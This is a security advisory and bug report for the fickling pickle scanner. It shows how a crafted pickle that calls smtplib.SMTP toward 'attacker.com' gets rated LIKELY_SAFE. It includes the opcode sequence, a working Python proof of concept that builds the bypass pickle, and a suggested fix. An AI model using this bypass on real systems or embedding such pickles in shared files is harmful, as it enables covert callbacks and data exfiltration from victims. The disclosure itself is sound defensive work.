GHSA-83pf-v6qq-pwmr

Our assessment

imtplib, imaplib, ftplib, poplib, telnetlib, and nntplib were added to the list of unsafe imports (https://github.com/trailofbits/fickling/commit/6d20564d23acf14b42ec883908aed159be7b9ade). The UnusedVariables heuristic works as expected.

Original report

Summary

Fickling's check_safety() API and --check-safety CLI flag incorrectly rate as LIKELY_SAFE pickle files that open outbound TCP connections at deserialization time using stdlib network-protocol constructors: smtplib.SMTP, imaplib.IMAP4, ftplib.FTP, poplib.POP3, telnetlib.Telnet, and nntplib.NNTP.

The bypass exploits two independent root causes described below.

Root Cause 1: Incomplete blocklist (fixed in PR #233)

fickling/fickle.py (lines 41-97) defines UNSAFE_IMPORTS, the primary blocklist. fickling/analysis.py (lines 229-248) defines the parallel UnsafeImportsML.UNSAFE_MODULES dict. Both omitted the following stdlib network-protocol modules whose constructors open a TCP socket at instantiation time:

Because these module names were absent from both blocklists, UnsafeImportsML, UnsafeImports, and NonStandardImports all stayed silent. All six are genuine stdlib modules so is_std_module() returned True and NonStandardImports did not fire.

Status: patched in PR #233. The six modules have been added to UNSAFE_IMPORTS.

Root Cause 2: Logic flaw in unused_assignments() at fickle.py:1183 (unpatched)

Description

unused_assignments() in fickling/fickle.py (lines 1174-1204) identifies variables that are assigned but never referenced. UnusedVariables analysis calls this method and raises SUSPICIOUS for any unreferenced variable -- this would otherwise catch a bare REDUCE opcode that stores its result without using it.

The flaw is at line 1183. The method iterates over module_body statements and, when it encounters the final result = <expr> assignment, breaks out of the loop immediately without first walking the right-hand side expression for Name references:

# fickling/fickle.py:1183 (current code -- vulnerable)
if (
    len(statement.targets) == 1
    and isinstance(statement.targets[0], ast.Name)
    and statement.targets[0].id == "result"
):
    # this is the return value of the program
    break   # exits WITHOUT scanning statement.value

Any variable that appears only in the RHS of result = <expr> is therefore never added to the used set and is incorrectly classified as unused.

How this enables bypass suppression

When fickling processes a REDUCE opcode in isolation, it generates:

_var0 = SMTP('attacker.com', 25)
result = _var0

Because the loop breaks before scanning result = _var0, _var0 never enters used. UnusedVariables sees _var0 as unused and raises SUSPICIOUS.

Adding a BUILD opcode with an empty dict after the REDUCE changes the generated AST to:

from smtplib import SMTP
_var0 = SMTP('attacker.com', 25)   # dangerous call
_var1 = _var0                      # BUILD step 1: intermediate reference
_var1.__setstate__({})             # BUILD step 2: state call
result = _var1

Now _var0 appears on the RHS of _var1 = _var0, a statement processed before the break, so _var0 correctly enters used and UnusedVariables stays silent.

The __setstate__ call is excluded from OvertlyBadEvals because ASTProperties.visit_Call places it in calls but not in non_setstate_calls (line 562), and OvertlyBadEvals only iterates non_setstate_calls.

The SMTP(...) call is skipped by OvertlyBadEvals because _process_import adds SMTP to likely_safe_imports for any stdlib module (line 550), and OvertlyBadEvals skips calls whose function name is in likely_safe_imports (lines 339-345).

Net result: zero warnings, severity LIKELY_SAFE.

This flaw is generic -- it applies to any module not on the blocklist, not just the six fixed in PR #233. Any future blocklist gap can be silently exploited using the same REDUCE + EMPTY_DICT + BUILD pattern as long as this flaw remains unpatched.

Bypass opcode sequence

Offset  Opcode            Argument
------  ------            --------
0       PROTO             4
2       GLOBAL            'smtplib' 'SMTP'
16      SHORT_BINUNICODE  'attacker.com'
30      BININT2           25
33      TUPLE2
34      REDUCE                          <- TCP connection opened here
35      EMPTY_DICT
36      BUILD                           <- suppresses UnusedVariables via flaw
37      STOP

Fickling's synthetic AST for this sequence (what all analysis passes inspect):

from smtplib import SMTP
_var0 = SMTP('attacker.com', 25)
_var1 = _var0
_var1.__setstate__({})
result = _var1

No analysis rule in fickling fires on this AST.

Proof of Concept

Requires only pip install fickling. Save as poc.py and run.

import socket
import threading
import pickle

def build_bypass_pickle(host: str, port: int) -> bytes:
    h = host.encode("utf-8")
    return b"".join([
        b"\x80\x04",
        b"csmtplib\nSMTP\n",
        b"\x8c" + bytes([len(h)]) + h,
        b"M" + bytes([port & 0xFF, (port >> 8) & 0xFF]),
        b"\x86",   # TUPLE2
        b"R",      # REDUCE
        b"}",      # EMPTY_DICT
        b"b",      # BUILD
        b".",      # STOP
    ])

def run_poc():
    from fickling.analysis import check_safety
    from fickling.fickle import Pickled

    HOST, PORT = "127.0.0.1", 19902
    received = []

    def listener():
        srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        srv.bind((HOST, PORT))
        srv.listen(1)
        srv.settimeout(5)
        try:
            conn, addr = srv.accept()
            received.append(addr)
            conn.close()
        except socket.timeout:
            pass
        srv.close()

    t = threading.Thread(target=listener, daemon=True)
    t.start()

    raw = build_bypass_pickle(HOST, PORT)
    loaded = Pickled.load(raw)
    result = check_safety(loaded)

    print(f"[*] fickling severity : {result.severity.name}")
    print(f"[*] fickling is_safe  : {result.severity.name == 'LIKELY_SAFE'}")

    assert result.severity.name == "LIKELY_SAFE", "Bypass failed"
    print("[+] fickling rates the pickle as LIKELY_SAFE  <-- bypass confirmed")

    print("[*] Calling pickle.loads() to simulate victim loading the file...")
    try:
        pickle.loads(raw)
    except Exception:
        pass

    t.join(timeout=5)

    if received:
        print(f"[+] Incoming TCP connection received from {received[0]}")
        print("[+] FULL BYPASS CONFIRMED: outbound connection made while fickling reported LIKELY_SAFE")
    else:
        print("[-] No TCP connection received (network blocked)")
        print("    fickling still rated LIKELY_SAFE -- static analysis bypass confirmed regardless")

if __name__ == "__main__":
    run_poc()

Expected output

[*] fickling severity : LIKELY_SAFE
[*] fickling is_safe  : True
[+] fickling rates the pickle as LIKELY_SAFE  <-- bypass confirmed
[*] Calling pickle.loads() to simulate victim loading the file...
[+] Incoming TCP connection received from ('127.0.0.1', 58412)
[+] FULL BYPASS CONFIRMED: outbound connection made while fickling reported LIKELY_SAFE

Tested on Python 3.11.1, Windows. Not OS-specific.

Impact

An attacker distributing a malicious pickle file (e.g. a crafted ML model checkpoint) can silently:

• Enumerate victims -- receive a TCP callback every time the pickle is loaded, including in sandboxed environments
• Exfiltrate host identity -- victim IP, hostname (via SMTP EHLO), and service banners are sent to the attacker's server
• Probe internal services (SSRF) -- if the victim host can reach internal SMTP relays, IMAP stores, or FTP servers, the pickle probes those services on the attacker's behalf
• Establish a covert channel -- protocol handshakes carry attacker-controlled bytes through a channel fickling explicitly labels safe

The is_likely_safe() helper (fickling/analysis.py:468-474) and the --check-safety CLI flag both gate on severity == LIKELY_SAFE. This bypass clears that gate completely with zero warnings.

Suggested fix

Walk statement.value before the break so variables referenced only in the result assignment are correctly counted as used:

# fickling/fickle.py:1183 -- suggested fix
if (
    len(statement.targets) == 1
    and isinstance(statement.targets[0], ast.Name)
    and statement.targets[0].id == "result"
):
    # scan RHS before breaking so variables used only here are marked as used
    for node in ast.walk(statement.value):
        if isinstance(node, ast.Name):
            used.add(node.id)
    break

This is the same pattern already used for every other statement in the loop (lines 1200-1203). All 55 non-torch tests pass with this fix applied.

Affected versions

All releases including v0.1.7 (latest). Confirmed on latest master as of 2026-02-19. Root cause 1 patched in PR #233 (master only, not yet released). Root cause 2 unpatched as of this report.

Reporter

Anmol Vats